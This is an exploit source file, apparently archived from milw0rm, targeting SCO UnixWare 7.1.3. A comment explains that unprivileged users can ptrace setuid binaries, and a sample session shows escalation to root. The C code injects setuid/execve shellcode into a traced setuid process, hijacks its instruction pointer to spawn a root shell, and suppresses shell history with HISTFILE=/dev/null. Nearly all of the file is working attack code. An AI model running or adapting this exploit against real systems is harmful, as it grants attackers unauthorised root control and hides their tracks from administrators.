SCO Unixware 7.1.3 - 'ptrace' Local Privilege Escalation

/* SCO Unixware 7.1.3 ptrace local root exploit
 * ============================================
 * SCO Unixware 7.1.3 kernel allows unprivledged users
 * to debug binaries. The condition can be exploited
 * by an attacker when he has execute permissions to 
 * a file which has the suid bit set.
 * 
 * Example.
 *
 *  $ uname -a
 *  UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5
 *  $ /linux/bin/bash
 *  bash-2.05$ uname -a
 *  Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown
 *  bash-2.05$ id
 *  uid=122(matt) gid=1(other) groups=1(other)
 *  bash-2.05$ ./fu /unixware/usr/lib/sendmail
 *  [ SCO Unixware 7.1.3 ptrace local root exploit
 *  [ Using 0xbfffed78
 *  sh-2.05# id
 *  uid=0(root) gid=1(other) groups=1(other)
 *  sh-2.05# 
 * 
 *  - prdelka
 */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <asm/user.h>



char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		 "\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
		 "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
		 "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(int argc,char* argv[])
{
	int esp, eip, i = 0;
	struct user_regs_struct regs;
	char *env[] = {"HISTFILE=/dev/null",NULL};
	pid_t pid;
	printf("[ SCO Unixware 7.1.3 local root exploit\n");
	if(argc < 2)
	{
		printf("[ Usage: [binary]\n");
		printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
		exit(0);
	}
	switch (pid = fork())
	{
	case -1:
		perror("fork");
		break;
	case 0:		
		ptrace(PTRACE_TRACEME, 0, 0, 0);		
		pid = getpid();
		execle(argv[1],argv[1],NULL,env);		
		break;
	default:		
		waitpid(pid, NULL, 0);	
		ptrace(PTRACE_GETREGS, pid, NULL, &regs);
		esp = eip = regs.esp - 512;
		while (i < strlen(shellcode)) 
		{
			ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
			i += 4;
			esp += 4;
		}
		regs.eip = (long) eip;
		printf("[ Using 0x%x\n",regs.eip);	
		ptrace(PTRACE_SETREGS, pid, NULL, &regs);
		ptrace(PTRACE_DETACH, pid, NULL,NULL);
	}
	usleep(1);
	wait(0);
	return 0;
}

// milw0rm.com [2006-02-26]